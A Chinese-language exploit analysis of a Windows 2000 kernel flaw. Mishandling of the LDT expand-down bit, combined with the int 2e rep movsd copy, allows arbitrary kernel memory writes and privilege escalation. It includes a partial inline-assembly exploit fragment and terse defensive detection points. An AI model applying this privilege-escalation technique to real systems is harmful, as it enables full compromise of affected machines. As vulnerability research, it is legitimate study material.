本文為技術深度分析,探討 Windows 2000 核心處理 LDT (Local Descriptor Table) 擴展方向位時的邏輯缺陷,攻擊者可在 Ring 3 建立涵蓋核心記憶體區段的 LDT 描述符,配合 int 2e 系統呼叫中的 rep movsd 指令,實現核心記憶體任意寫入並提權。屬進階漏洞利用研究內容。
Windows 2000 允許使用者模式進程呼叫 NtSetLdtEntries 自行新增 LDT 項目。核心驗證邏輯未正確處理 Expand-Down (擴展方向) 位:
核心有時假設段基址為 0 進行記憶體運算,攻擊者可控制 LDT Base 導致運算錯誤,進而繞過記憶體保護。
int 2e (系統服務分發器) 觸發 rep movsd:EDI = 核心堆疊指標 (KSP),ESI = 使用者傳入參數緩衝區,ECX = 參數個數。memcpy(KSP, user_buf, ECX*4)。ESI (使用者緩衝區) 可控;EDI (KSP) 需洩漏/猜測。
// 計算 LDT Base 使目標地址落在可寫入範圍
ldtbase = target_address - KSP;
SetupLDT(0x17, ldtbase); // 建立惡意 LDT 描述符 (Expand-Down=1, Granularity=1, Limit=0)
// 觸發 int 2e 複寫核心記憶體
__asm {
push es
push 17h
pop es // 載入惡意 LDT 選擇子至 ES
mov eax, 11h // 系統服務號 (NtSetLdtEntries 相關)
lea edx, pin // 使用者緩衝區 (含特徵碼 "COOL")
int 2eh // 觸發 rep movsd 寫入核心堆疊
pop es
}
NtSetLdtEntries 呼叫。rep movsd 等非受控複製指令。聲明: 本文僅供學術研究與防禦理解之用,嚴禁用於非授權滲透測試或惡意攻擊。